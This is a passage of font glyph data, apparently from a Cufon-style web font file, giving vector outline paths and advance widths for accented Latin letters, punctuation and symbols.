3,38,-302,0v-129,-55,-220,-166,-220,-343v0,-176,91,-289,220,-343v89,-38,213,-38,302,-1v129,54,220,167,220,344v0,177,-91,288,-220,343","w":846},{"w":0},{"d":"409,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm407,-78v57,1,100,-10,140,-27v15,29,24,56,28,83v-53,23,-108,34,-181,34v-223,0,-335,-141,-335,-367v0,-227,110,-370,333,-376v70,-2,122,11,171,27v-3,34,-13,56,-24,84v-41,-14,-82,-23,-139,-22v-157,2,-232,117,-230,287v1,170,72,274,237,277","w":618},{"d":"175,0v-30,5,-69,5,-99,0r0,-517v30,-5,69,-5,99,0r0,517xm520,0v-35,5,-77,5,-113,0r-204,-265r177,-248v35,-5,77,-5,112,0r-177,242","w":524},{"d":"331,238v-30,7,-58,6,-87,0r45,-173v30,-5,72,-6,102,0xm594,0v-37,5,-79,5,-116,0r-255,-365r231,-354v36,-6,75,-5,111,0r-228,345xm193,0v-31,5,-72,5,-102,0r0,-719v31,-5,71,-5,102,0r0,719","w":604},{"d":"170,0v-28,5,-66,5,-94,0r32,-719v34,-5,81,-5,115,0r186,450r187,-450v31,-6,78,-5,110,0r34,719v-30,5,-69,5,-99,0r-23,-559r-176,410v-26,4,-53,4,-79,0r-170,-413","w":816},{"d":"292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0xm231,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm435,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":557},{"d":"307,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"285,-313v-142,2,-233,-57,-235,-195v-3,-178,129,-217,309,-217r0,731v-33,0,-58,-2,-74,-6r0,-313xm435,-725v33,0,58,2,74,6r0,719v-16,4,-41,6,-74,6r0,-731","w":571},{"d":"291,-586v-63,0,-108,-44,-108,-107v0,-63,45,-107,108,-107v63,0,108,44,108,107v0,63,-45,107,-108,107xm242,-693v0,33,16,56,49,56v33,0,50,-23,50,-56v0,-33,-17,-56,-50,-56v-33,0,-49,23,-49,56xm314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28","w":574},{"d":"34,142v2,-59,42,-111,83,-141r-7,-1r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513v-37,24,-79,71,-82,122v-3,54,58,64,104,46v9,14,13,42,15,63v-86,25,-214,12,-210,-89xm195,-626v-33,5,-74,5,-107,0v-4,-31,-4,-71,0,-101v33,-5,74,-5,107,0v4,30,4,71,0,101","w":288},{"d":"451,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":557},{"d":"365,-572v-27,5,-54,5,-81,0r0,-161v29,-6,67,-5,96,0xm252,8v-99,-1,-153,-46,-153,-151r0,-291r-78,0r-4,-14r172,-192r8,0r0,127r130,0v6,23,5,56,0,79r-130,0r0,234v1,75,0,128,75,128v22,0,42,-4,59,-8v9,22,10,51,10,78v-27,7,-56,10,-89,10","w":357},{"d":"27,-719v33,-5,80,-5,113,0r123,599r148,-599v32,-5,75,-5,107,0r149,605r125,-605v30,-6,72,-5,102,0r-173,719v-36,6,-83,5,-119,0r-142,-563r-144,563v-35,5,-81,6,-116,0","w":921,"k":{"\u012d":-30,"\u0129":-30,"\u00ef":-30,"\u00ec":-40}},{"d":"29,-14r270,-420r-238,0v-4,-23,-4,-55,0,-79r385,0r5,13r-272,421r255,0v4,25,4,54,0,79r-400,0xm271,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":477},{"d":"0,-235v-5,-28,-5,-63,0,-91r1000,0v5,27,5,64,0,91r-1000,0","w":1000},{"d":"422,0v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112xm668,0v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112xm176,0v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112","w":733},{"d":"286,142v0,-47,-82,-36,-121,-28r-6,-5r49,-133r64,0r-33,82v68,-11,123,22,123,84v0,97,-131,115,-221,88v2,-21,4,-44,14,-58v44,14,131,22,131,-30","w":500},{"d":"113,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm231,12v-75,0,-131,-12,-185,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v116,0,188,-65,155,-172v-72,-126,-317,-75,-317,-286v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-282,-54,-274,76v5,89,94,101,160,129v90,39,169,79,169,205v-1,147,-113,222,-270,222","w":545},{"d":"179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,354v1,108,-56,157,-160,158v-36,0,-66,-4,-91,-13v1,-26,7,-55,16,-75v63,19,137,8,137,-71r0,-326v-1,-84,-19,-138,-93,-138v-98,0,-139,72,-139,176r0,260","w":578},{"d":"296,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260","w":578},{"d":"85,160v39,15,106,14,123,-24v17,-38,32,-92,47,-135r-72,-1r-170,-513v33,-4,76,-4,109,0r142,477r147,-477v29,-4,71,-4,102,0r-199,617v-29,80,-55,146,-160,145v-30,0,-62,-5,-85,-12v0,-33,6,-54,16,-77xm213,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm417,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100","w":527},{"d":"527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188xm152,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0","w":577},{"d":"314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28xm151,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0","w":574},{"d":"109,-719v30,-5,69,-5,99,0r-62,223v-29,6,-67,6,-96,0xm304,-719v30,-5,69,-5,99,0r-62,223v-29,6,-67,6,-96,0","w":453},{"d":"94,-604v-34,4,-69,4,-102,0v-5,-31,-5,-68,0,-100v31,-5,70,-5,102,0v5,30,5,69,0,100xm298,-604v-34,4,-69,4,-102,0v-5,-30,-5,-69,0,-100v31,-5,70,-5,102,0v4,35,4,66,0,100xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"221,-594v-29,5,-69,5,-99,0r113,-127v37,-5,82,-5,119,0xm413,-594v-29,5,-69,5,-99,0r114,-127v37,-5,81,-5,118,0xm527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188","w":577},{"d":"149,-609v-13,-17,-25,-36,-31,-59v20,-25,51,-50,96,-49v61,1,90,44,150,44v33,0,44,-11,67,-31v15,18,25,38,32,61v-21,24,-53,48,-97,47v-60,-1,-91,-44,-149,-44v-35,0,-44,12,-68,31xm179,0v-30,5,-69,5,-99,0r0,-513v26,-5,58,-5,84,0v4,18,9,62,9,83v32,-51,81,-95,164,-95v122,0,172,74,172,200r0,325v-30,5,-69,5,-99,0r0,-298v-1,-83,-18,-138,-92,-138v-98,0,-139,72,-139,176r0,260","w":578},{"d":"115,-620v-5,-21,-5,-52,0,-74r270,0v5,21,5,53,0,74r-270,0","w":500},{"d":"176,0v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112","w":241},{"d":"718,-708v31,-5,70,-5,101,0r-483,707v-32,5,-70,5,-101,0xm92,-306v-7,-20,-7,-51,0,-71r96,0r0,-229r-93,38v-17,-17,-26,-38,-33,-64r193,-79r17,0r0,334r93,0v5,23,5,49,0,71r-273,0xm676,-385v103,-43,280,-27,275,102v-4,99,-75,151,-130,210r153,0v2,24,2,48,0,72r-309,0r-5,-12v60,-67,135,-132,184,-207v13,-21,19,-39,19,-56v1,-74,-122,-59,-168,-38v-7,-19,-16,-46,-19,-71","w":1050},{"d":"93,-719v33,-6,73,-5,107,0r-6,503v-29,5,-67,5,-94,0xm201,0v-35,5,-77,5,-112,0v-5,-35,-5,-77,0,-112v35,-5,77,-5,112,0v5,35,5,77,0,112","w":290},{"d":"216,-307v-24,5,-53,5,-77,0r0,-327r-113,0v-4,-26,-4,-46,0,-73r302,0v5,22,5,51,0,73r-112,0r0,327xm776,-307v-25,4,-52,6,-77,0r-15,-255r-86,179v-20,5,-33,4,-57,0r-79,-176r-13,252v-26,5,-50,5,-76,0r20,-400v28,-3,56,-4,84,0r99,219r98,-219v27,-3,55,-4,82,0","w":826},{"w":237},{"d":"260,-719v29,-5,67,-5,95,0r0,274v-30,4,-66,4,-95,0r0,-274xm64,-719v29,-5,67,-5,95,0r0,274v-30,4,-66,4,-95,0r0,-274","w":420},{"d":"527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188xm294,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":577},{"d":"109,-719v30,-5,69,-5,99,0r-62,223v-29,6,-67,6,-96,0","w":258},{"d":"446,-788v-33,7,-76,7,-109,0v-5,-31,-5,-72,0,-103v33,-7,76,-7,109,0v5,31,5,72,0,103xm407,-79v38,0,70,-4,97,-12r0,-281v30,-5,71,-5,101,0r0,351v-54,23,-128,33,-203,33v-227,0,-343,-138,-343,-367v0,-177,76,-293,199,-349v87,-39,228,-31,311,1v-3,34,-13,56,-24,84v-43,-13,-81,-25,-142,-23v-164,5,-235,118,-235,287v0,170,75,272,239,276","w":681},{"d":"51,-237v-3,-174,122,-287,298,-237v24,7,44,20,59,35v-26,-66,-48,-112,-95,-151r-98,61v-15,-13,-28,-34,-35,-54r70,-44v-30,-15,-63,-20,-101,-26v-9,-23,-5,-61,4,-83v73,4,133,24,182,54r88,-56v16,13,28,36,38,54r-70,43v86,78,138,207,138,364v0,173,-68,289,-239,289v-159,0,-236,-93,-239,-249xm155,-237v0,102,37,172,135,172v98,0,134,-70,134,-172v0,-106,-34,-170,-134,-170v-96,0,-136,66,-135,170","w":581},{"d":"270,12v-57,0,-125,-5,-172,-12r0,-331r-82,0v-5,-22,-5,-53,0,-75r82,0r0,-313v48,-5,120,-11,176,-11v248,-1,375,129,376,372v0,252,-129,370,-380,370xm542,-361v0,-211,-126,-302,-342,-274r0,229r162,0v5,22,5,53,0,75r-162,0r0,247v21,3,51,5,78,5v183,1,264,-94,264,-282","w":708},{"d":"149,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0xm207,0v-29,5,-68,5,-97,0r0,-435r-65,0v-5,-22,-5,-56,0,-78r162,0r0,513","w":288},{"d":"207,-495v-29,5,-65,5,-95,0r-62,-223v30,-5,68,-5,98,0","w":258},{"d":"324,-607v-36,5,-79,5,-115,0v-5,-34,-5,-75,0,-110v37,-4,78,-7,115,0v5,34,5,75,0,110xm192,-174v-26,13,-60,61,-28,92v73,37,261,-7,320,54v40,41,54,120,19,172v-46,69,-139,105,-255,105v-120,0,-211,-27,-211,-133v0,-60,37,-103,79,-125v-25,-17,-47,-40,-47,-81v0,-55,28,-86,61,-112v-40,-28,-73,-76,-73,-142v0,-120,85,-178,209,-181v60,0,110,20,144,46v28,-22,77,-38,129,-37v6,27,5,62,0,89r-90,0v14,22,23,47,23,83v1,143,-136,201,-280,170xm253,171v86,1,166,-26,170,-93v5,-86,-122,-59,-203,-65v-56,-4,-90,34,-90,84v0,64,58,73,123,74xm161,-344v0,65,36,107,105,107v69,0,105,-42,106,-107v0,-66,-37,-109,-106,-109v-70,0,-105,43,-105,109","w":549},{"d":"233,-301v29,-5,66,-5,95,0r0,162v-82,24,-158,48,-162,148v-5,124,185,127,276,85v12,25,21,51,25,83v-51,18,-100,28,-167,28v-143,0,-239,-66,-239,-195v0,-119,87,-175,172,-208r0,-103xm225,-514v33,-5,79,-5,112,0v5,35,5,76,0,111v-37,4,-76,7,-112,0v-5,-35,-5,-76,0,-111","w":488},{"d":"212,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm407,-78v57,1,100,-10,140,-27v15,29,24,56,28,83v-53,23,-108,34,-181,34v-223,0,-335,-141,-335,-367v0,-227,110,-370,333,-376v70,-2,122,11,171,27v-3,34,-13,56,-24,84v-41,-14,-82,-23,-139,-22v-157,2,-232,117,-230,287v1,170,72,274,237,277","w":618},{"d":"11,141v2,-61,44,-109,86,-140r-9,-1r0,-719v31,-5,71,-5,102,0r0,719v-38,28,-84,68,-86,124v-3,54,64,58,108,41v10,15,15,43,15,65v-85,26,-220,14,-216,-89","w":278},{"d":"384,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm44,-87v77,24,167,7,167,-90r0,-453r-126,0v-5,-26,-5,-63,0,-89r228,0r0,519v2,140,-56,213,-193,212v-32,0,-66,-6,-92,-12v0,-32,7,-61,16,-87","w":396},{"d":"108,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm192,0v-33,2,-70,5,-102,0r0,-720r154,-11v159,2,278,58,278,220v0,113,-75,169,-153,208r209,303v-34,4,-79,4,-115,0r-230,-333r0,-4v87,-24,176,-59,180,-166v4,-119,-101,-156,-221,-138r0,641","w":597},{"d":"129,-720v29,-7,72,-5,102,0r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm315,-71v43,0,74,-5,107,-18v11,18,20,50,21,78v-39,15,-84,23,-135,23v-168,2,-258,-104,-258,-268v0,-164,86,-269,251,-269v56,0,95,6,135,21v0,26,-8,60,-17,79v-33,-11,-70,-17,-112,-17v-106,-1,-153,79,-153,186v0,119,52,185,161,185","w":478},{"d":"407,-79v38,0,70,-4,97,-12r0,-281v30,-5,71,-5,101,0r0,351v-54,23,-128,33,-203,33v-227,0,-343,-138,-343,-367v0,-177,76,-293,199,-349v87,-39,228,-31,311,1v-3,34,-13,56,-24,84v-43,-13,-81,-25,-142,-23v-164,5,-235,118,-235,287v0,170,75,272,239,276","w":681},{"d":"406,-77v58,0,101,-9,141,-28v13,26,22,52,28,84v-58,23,-117,33,-188,32r-17,43v71,-11,125,25,125,87v0,99,-135,116,-226,88v2,-23,4,-45,15,-60v46,18,135,17,133,-28v-2,-46,-84,-36,-121,-26r-8,-9r38,-100v-174,-31,-268,-157,-268,-360v0,-227,110,-371,334,-377v70,-2,123,10,170,28v-3,34,-12,55,-24,83v-41,-14,-82,-23,-139,-22v-156,2,-233,119,-231,288v2,170,74,277,238,277","w":618},{"d":"458,-891v-3,139,-244,151,-313,61v-12,-15,-19,-36,-22,-61v27,-6,61,-6,88,0v7,35,30,54,79,54v49,0,72,-19,79,-54v32,-7,59,-6,89,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"454,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm527,-256v0,162,-77,268,-239,268v-162,0,-239,-106,-239,-268v0,-162,78,-269,239,-269v161,0,239,107,239,269xm154,-256v0,108,33,189,134,189v100,0,135,-81,135,-189v0,-108,-34,-188,-135,-188v-101,0,-134,80,-134,188","w":577},{"d":"88,-1v-4,-26,-4,-64,0,-91r424,0v5,27,5,65,0,91r-424,0xm345,-126v-27,5,-63,6,-89,0r0,-181r-166,0v-5,-26,-5,-63,0,-89r166,0r0,-182v27,-5,61,-5,89,0r0,182r165,0v5,27,5,62,0,89r-165,0r0,181"},{"d":"195,-802v-13,-18,-27,-34,-33,-57v26,-31,85,-66,143,-43v38,15,72,42,120,42v34,0,45,-14,68,-34v15,19,26,38,33,59v-22,21,-57,49,-100,48v-65,-1,-99,-49,-162,-49v-35,0,-46,15,-69,34xm184,0v-28,5,-68,5,-96,0r0,-719v28,-5,66,-5,94,0r313,540r0,-540v30,-5,68,-6,97,0r0,719v-28,5,-66,5,-94,0r-314,-537r0,537","w":680},{"d":"525,-256v0,161,-76,268,-237,268v-54,0,-99,-13,-136,-38r-19,25v-20,5,-54,5,-74,1r51,-65v-38,-45,-59,-111,-59,-191v0,-161,76,-266,237,-269v62,-1,110,19,146,47r25,-31v18,-5,55,-5,74,-1r-59,74v33,45,51,105,51,180xm288,-444v-140,0,-156,189,-116,301r207,-265v-23,-24,-53,-36,-91,-36xm288,-67v133,0,156,-164,122,-287r-204,260v21,18,48,27,82,27","w":577},{"d":"426,-720v-1,148,-238,175,-307,67v-12,-17,-20,-40,-23,-67v27,-7,62,-6,89,0v-4,75,125,89,146,24v3,-8,5,-16,6,-24v27,-5,62,-8,89,0xm147,-154v0,102,122,93,204,76r0,-163v-91,-14,-204,-10,-204,87xm48,-152v0,-149,151,-187,303,-167v5,-89,-33,-125,-117,-124v-48,0,-87,9,-125,20v-13,-22,-19,-48,-19,-79v42,-14,101,-23,154,-23v133,1,204,57,204,191r0,321v-49,11,-123,26,-187,25v-125,0,-213,-41,-213,-164","w":517},{"d":"119,-720v29,-7,72,-5,102,0r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm292,-525v162,0,229,122,212,293r-349,0v2,110,56,161,166,162v47,0,92,-8,135,-25v10,19,18,51,19,79v-45,19,-96,28,-160,28v-175,-1,-265,-93,-265,-265v0,-164,78,-272,242,-272xm409,-306v-3,-81,-38,-140,-120,-140v-87,0,-124,58,-133,140r253,0","w":557},{"d":"229,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":500},{"d":"175,0v-30,5,-69,5,-99,0r0,-733v30,-5,69,-5,99,0r0,733xm502,0v-34,5,-75,5,-110,0r-190,-266r163,-247v34,-5,75,-5,109,0r-163,240","w":514},{"d":"277,-214v-29,5,-66,5,-95,0r0,-162v82,-24,158,-48,162,-148v5,-124,-185,-127,-276,-85v-12,-25,-21,-51,-25,-83v51,-18,100,-28,167,-28v143,0,239,66,239,195v0,119,-87,175,-172,208r0,103xm285,-1v-33,5,-79,5,-112,0v-5,-35,-5,-76,0,-111v37,-4,76,-7,112,0v5,35,5,76,0,111","w":488},{"d":"265,87v5,24,5,57,0,81r-215,0r0,-928r215,0v5,25,5,57,0,81r-117,0r0,766r117,0","w":319},{"d":"29,-14r270,-420r-238,0v-4,-23,-4,-55,0,-79r385,0r5,13r-272,421r255,0v4,25,4,54,0,79r-400,0","w":477},{"d":"634,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm27,-719v33,-5,80,-5,113,0r123,599r148,-599v32,-5,75,-5,107,0r149,605r125,-605v30,-6,72,-5,102,0r-173,719v-36,6,-83,5,-119,0r-142,-563r-144,563v-35,5,-81,6,-116,0","w":921},{"d":"470,-90v5,28,5,63,0,90r-383,0r0,-262r-64,45v-7,-28,-8,-62,0,-90r64,-44r0,-368v29,-4,72,-4,101,0r0,297r131,-90v7,30,6,62,0,90r-131,90r0,242r282,0","w":495},{"d":"176,-403v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112xm176,0v-35,5,-76,5,-111,0v-6,-35,-6,-77,0,-112v35,-5,76,-5,111,0v4,37,7,76,0,112","w":241},{"d":"324,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm192,0v-33,2,-70,5,-102,0r0,-720r154,-11v159,2,278,58,278,220v0,113,-75,169,-153,208r209,303v-34,4,-79,4,-115,0r-230,-333r0,-4v87,-24,176,-59,180,-166v4,-119,-101,-156,-221,-138r0,641","w":597},{"d":"315,-71v43,0,74,-5,107,-18v11,18,20,50,21,78v-39,15,-84,23,-135,23v-168,2,-258,-104,-258,-268v0,-164,86,-269,251,-269v56,0,95,6,135,21v0,26,-8,60,-17,79v-33,-11,-70,-17,-112,-17v-106,-1,-153,79,-153,186v0,119,52,185,161,185xm308,-594v-29,5,-69,5,-99,0r115,-127v39,-5,88,-6,126,0","w":478},{"d":"491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"430,-594v-29,6,-72,4,-102,0r-65,-80r-65,80v-29,5,-75,6,-102,0r109,-127v35,-5,82,-6,117,1xm85,160v39,15,106,14,123,-24v17,-38,32,-92,47,-135r-72,-1r-170,-513v33,-4,76,-4,109,0r142,477r147,-477v29,-4,71,-4,102,0r-199,617v-29,80,-55,146,-160,145v-30,0,-62,-5,-85,-12v0,-33,6,-54,16,-77","w":527},{"d":"225,238v-26,6,-58,6,-85,0r44,-173v29,-5,69,-6,99,0xm252,8v-99,-1,-153,-46,-153,-151r0,-291r-78,0r-4,-14r172,-192r8,0r0,127r130,0v6,23,5,56,0,79r-130,0r0,234v1,75,0,128,75,128v22,0,42,-4,59,-8v9,22,10,51,10,78v-27,7,-56,10,-89,10","w":358},{"d":"6,88v-7,-22,-7,-52,0,-73r494,0v5,22,5,51,0,73r-494,0","w":505},{"d":"215,168v-29,5,-68,5,-97,0r0,-944v29,-5,68,-5,97,0r0,944","w":333},{"d":"79,-110v33,-6,64,-7,99,0r-63,223v-29,4,-66,4,-95,0","w":213},{"d":"232,12v-80,0,-128,-12,-186,-31v3,-32,15,-63,24,-90v48,16,90,30,157,30v115,0,188,-65,155,-171v-72,-126,-317,-75,-317,-287v0,-192,236,-229,403,-166v-3,28,-11,56,-22,83v-85,-35,-285,-53,-274,76v10,117,158,114,235,167v53,37,94,78,94,167v-1,127,-84,201,-203,217r-19,47v73,-8,124,24,125,87v2,99,-135,116,-226,88v0,-24,4,-44,15,-60v46,18,133,22,133,-28v0,-46,-84,-36,-121,-26r-8,-9","w":545},{"d":"665,-359v0,218,-87,368,-303,371v-83,1,-142,-24,-189,-62r-36,50v-22,4,-58,4,-81,0r72,-99v-46,-63,-70,-153,-70,-260v0,-218,88,-372,304,-372v79,0,139,22,184,59r34,-47v23,-6,58,-5,81,0r-69,95v48,65,73,154,73,265xm362,-76v152,0,195,-127,195,-283v0,-69,-10,-128,-31,-175r-295,404v33,36,76,54,131,54xm362,-641v-152,0,-195,126,-195,282v0,68,9,124,27,169r293,-402v-31,-33,-73,-49,-125,-49","w":724},{"d":"190,0v-31,5,-71,5,-102,0r0,-719r376,0v5,26,5,63,0,89r-274,0r0,211r229,0v5,27,5,63,0,90r-229,0r0,329","w":504},{"d":"252,8v-99,-1,-154,-46,-153,-151r0,-94r-79,0v-4,-23,-4,-53,0,-77r79,0r0,-120r-78,0r-4,-14r172,-192r8,0r0,127r130,0v6,23,5,56,0,79r-130,0r0,120r130,0v5,22,5,56,0,77r-130,0v2,84,-13,165,75,165v22,0,42,-4,59,-8v9,22,10,51,10,78v-27,7,-56,10,-89,10","w":358},{"d":"361,9v-183,20,-287,-50,-287,-236r0,-286v29,-4,69,-4,98,0r0,282v-1,106,37,162,141,160v33,0,62,-3,86,-10r0,-432v30,-4,69,-4,99,0r0,497v-57,28,-114,60,-120,137v-4,55,59,63,105,46v8,14,14,42,14,63v-85,26,-214,13,-210,-89v2,-55,38,-101,74,-132","w":574},{"d":"315,12v-173,-8,-235,-124,-234,-305r0,-426v31,-4,70,-4,102,0r0,408v0,134,22,231,154,231v131,0,153,-98,153,-231r0,-408v31,-4,71,-5,102,0r0,426v-1,160,-45,268,-177,296v-35,29,-77,67,-79,121v-3,54,63,58,108,41v10,15,15,43,15,65v-85,26,-220,14,-216,-89v2,-56,36,-98,72,-129","w":673},{"d":"314,12v-163,0,-240,-72,-240,-240r0,-285v30,-5,69,-5,99,0r0,281v-2,106,35,164,140,161v34,0,63,-4,87,-11r0,-431v29,-5,69,-5,98,0r0,497v-49,13,-119,28,-184,28xm129,-721v39,-5,88,-5,127,0r115,127v-31,6,-70,5,-100,0","w":574},{"d":"344,118v-21,5,-49,5,-70,0r0,-107v-78,5,-142,-10,-199,-30v3,-31,13,-62,23,-88v49,15,91,28,157,28v115,0,185,-62,153,-167v-76,-121,-317,-75,-314,-283v2,-111,74,-174,180,-187r0,-97v20,-6,50,-5,70,0r0,93v53,2,113,12,152,27v-3,28,-11,56,-22,83v-84,-33,-280,-54,-274,73v5,96,103,105,171,137v83,39,158,74,158,194v-1,122,-77,189,-185,209r0,115"},{"d":"261,12v-57,0,-125,-5,-172,-12r0,-719v48,-5,120,-11,176,-11v248,-1,375,129,376,372v0,252,-129,370,-380,370xm533,-361v0,-211,-126,-302,-342,-274r0,551v21,3,51,5,78,5v183,1,264,-94,264,-282","w":699},{"d":"118,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm491,-89v4,26,5,63,0,89r-403,0r0,-719r395,0v4,26,5,63,0,89r-293,0r0,206r234,0v5,26,5,63,0,89r-234,0r0,246r301,0","w":536},{"d":"94,-720v29,-7,72,-5,102,0r65,80r65,-80v31,-5,71,-8,102,0r-109,127v-36,5,-82,4,-117,-1xm29,-14r270,-420r-238,0v-4,-23,-4,-55,0,-79r385,0r5,13r-272,421r255,0v4,25,4,54,0,79r-400,0","w":477},{"d":"553,-779v-31,6,-78,6,-109,0r-65,-61r-65,61v-32,6,-79,6,-111,0r118,-108v34,-6,83,-5,117,0xm407,-78v57,1,100,-10,140,-27v15,29,24,56,28,83v-53,23,-108,34,-181,34v-223,0,-335,-141,-335,-367v0,-227,110,-370,333,-376v70,-2,122,11,171,27v-3,34,-13,56,-24,84v-41,-14,-82,-23,-139,-22v-157,2,-232,117,-230,287v1,170,72,274,237,277","w":618},{"d":"123,-887v33,-5,75,-6,109,0r65,62r65,-62v37,-2,76,-7,111,0r-118,108v-34,6,-83,5,-117,0xm261,12v-57,0,-125,-5,-172,-12r0,-719v48,-5,120,-11,176,-11v248,-1,375,129,376,372v0,252,-129,370,-380,370xm533,-361v0,-211,-126,-302,-342,-274r0,551v21,3,51,5,78,5v183,1,264,-94,264,-282","w":699},{"d":"-24,99v66,20,137,6,137,-77r0,-457r-65,0v-5,-22,-5,-56,0,-78r162,0r0,542v1,107,-55,157,-159,158v-36,0,-66,-4,-91,-13v1,-26,7,-55,16,-75xm195,-627v-33,6,-73,6,-106,0v-5,-32,-5,-67,0,-99v33,-6,73,-7,106,0v5,32,5,67,0,99","w":290},{"d":"49,-321v0,-188,69,-334,253,-334v184,0,252,145,252,334v0,188,-70,333,-254,333v-183,0,-251,-146,-251,-333xm446,-321v0,-138,-32,-246,-145,-246v-112,0,-147,109,-147,246v0,138,34,245,147,245v113,0,146,-108,145,-245"},{"d":"282,-589v-24,4,-54,4,-78,0r8,-130v21,-4,40,-4,62,0xm183,-576v-4,27,-12,51,-23,74r-122,-48v3,-21,9,-40,20,-59xm148,-335v-19,-11,-36,-21,-50,-37r70,-109v23,11,44,28,63,45xm427,-609v11,19,17,38,20,59r-122,48v-11,-23,-19,-47,-23,-74xm387,-372v-14,16,-31,26,-50,37r-83,-101v19,-17,40,-34,63,-45","w":485},{"d":"166,-779v-33,5,-74,5,-107,0r106,-108v44,-4,94,-8,137,0xm288,-1v-110,27,-210,-11,-210,-132r0,-600v29,-5,69,-5,98,0r0,578v0,52,13,83,63,82v12,0,30,-1,40,-4v6,23,9,49,9,76","w":298},{"d":"130,-720v29,-7,72,-5,102,0